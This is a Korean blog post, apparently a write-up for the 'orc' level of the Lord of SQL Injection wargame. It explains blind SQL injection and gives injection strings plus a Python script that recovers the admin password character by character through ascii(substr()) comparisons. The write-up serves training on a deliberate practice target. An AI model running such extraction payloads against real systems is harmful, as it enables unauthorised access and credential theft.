Web/Lord of Sql injection

orc 문제 풀이

Namchun 2023. 9. 6. 00:35

코드 분석

별도의 필터링은 존재하지 않는다. 하지만, result의 pw와 $_GET['pw']의 문자열을 직접 비교하여 맞는 지 확인하는 코드가 존재한다. 이 말은 즉슨 조건문을 참으로 만드는 것이 끝이 아니라 실제 admin의 password를 알아내어야 한다.

공격 기법

이를 알아내기 위해서는 이전 글에서 다루었던 SUBSTR() 함수를 사용하여 admin의 pw와 한 글자씩 매칭하여 맞다면 조건문이 참이 되도록 쿼리를 작성하여야 한다.

 

이런 식으로 쿼리에 대한 결과가 인지 거짓인지에 따라 다른 응답을 주는 점을 이용하여 정보를 얻어내는 공격을

Blind SQL Injection이라고 부른다.

 

우선 admin의 pw 길이를 알아내기 위해 LENGTH() 함수를 사용하여

?pw=' or LENGTH(pw) = {i} 이런 식으로 i를 점차 증가시키며 쿼리를 실행한 결과 8에서 'Hello admin'이라는 문자열이 출력되었으므로 pw의 길이가 8이라는 것을 알아내었다.

 

비밀번호의 길이를 알아내었으니 pw의 i번째 인덱스와 ascii 값을 비교하여 한 글자씩 알아내는 행위를 8번 반복하도록 코드를 작성하였다.

import requests
import string

url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'

# length = 8

pw = ''
for i in range(8):
    for ct in range(32, 127):
        payload = f"?pw=' or ascii(substr(pw,{i+1},1)) = {ct} -- '"

        r = requests.get(url+payload, cookies={'PHPSESSID':'YOUR_COOKIE'})
        if r.text.count('Hello') == 2:
            pw += chr(ct)
            print(pw)
            break

 

코드를 실행하니 최종적으로 '095a9852'라는 값이 출력되어 문제를 풀 수 있었다.

'Web > Lord of Sql injection' 카테고리의 다른 글

darkelf 문제 풀이  (0) 2023.09.09
wolfman 문제 풀이  (0) 2023.09.07
goblin 문제 풀이  (0) 2023.09.06
cobolt 문제 풀이  (0) 2023.09.05
gremlin 문제 풀이  (0) 2023.09.05